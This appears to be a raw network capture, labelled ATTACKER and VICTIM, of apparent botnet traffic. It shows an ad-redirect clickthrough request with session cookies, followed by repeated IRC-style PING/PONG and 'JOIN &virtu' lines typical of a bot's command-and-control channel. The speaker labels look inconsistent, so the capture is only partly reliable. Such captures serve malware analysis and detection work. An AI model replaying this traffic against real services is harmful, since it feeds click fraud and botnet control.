ATTACKER:	GET /forward302.aspx?tu=http%3a%2f%2fdomainbt.bidsystem.com%3a80%2fadkservredir%2fredirect%3fsessionid%3d514e7a9de7c042ce87b3282cdcedc3f9%26uuid%3d514e7a9de7c042ce87b3282cdcedc3f9%26txn%3d5211ea279ddabff1%26app%3dfeed%26tabno%3d1%26bid%3d0.0036000000000000008%26event%3dnewpage%26aff%3d7749%26dom%3dwebabconline.com%26cat%3d1669%26df%3d10%26url%3dhttp%3a%2f%2fpda.mv.bidsystem.com%2fbin%2ffindwhat.dll%3fclickthrough%26y%3d77437%26x%3dWypK%3bQtbktm5hhOACaD1SFfSW9dWlVDtkTp3jTMXkv%3bn9Tw%3bOFMoQbcHc%3bcyHhVe3YWZsTs38htNXFdS3ZgpOUpnZhz0IQUDtQSCoeguUZAiH6S8EipzszYBeEDXL2Y5%3biMOzVp6sZ5g3mSH1QtrQEwCmUUM%3a2f8TFtoZQ2ROeyUshyug9%3b4i0OMAz5ubb5GJ9W9XhwnZhv5HbARZ6cQge5RizAJIFxo4d2MWz%3bKdQOUfZOo5ehHCU%3bNTacpWJDLs7nnQ6tshFGZLyg2Z62OE&id=b26484ac-891a-418c-8220-961b44997379&r=2&d=webabconline.com&a=300&t=-1&p=0&wrt=-1&du=younghollywood.com&ac=StaticLink&slt=StaticLink&rlt=AdKnowledgeSponsored&tid=1016&thid=212083&sid=177ddc3b-253c-4ef8-b295-a0530d63406d&st=Online+Dating&vip=69.64.147.243&ippi=3&ocip=-537062842&oua=-662313690&wtt=634346307560286601&rid=67446fc3-116e-4668-b3a4-ce0c00bca190&pu=http%3a%2f%2fwebabconline.com%2flocation%2fdefinitions%2fpayday%2floans%2fonline_dating.htm%3ft%3d%26slt%3d7%26slr%3d3%26lpt%3d1 HTTP/1.1Accept: */*Referer: http:/webabconline.com/location/definitions/payday/loans/online_dating.htm?t=&slt=7&slr=3&lpt=1Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Win 
VICTIM:  	dows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM; adKnDC=255c2a5c4a4b4413827d7bb97538913a&Exp=3/2/2014 2:45:56 AM 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu 
ATTACKER:	PING :i. 
ATTACKER:	PONG :i. 
VICTIM:  	JOIN &virtu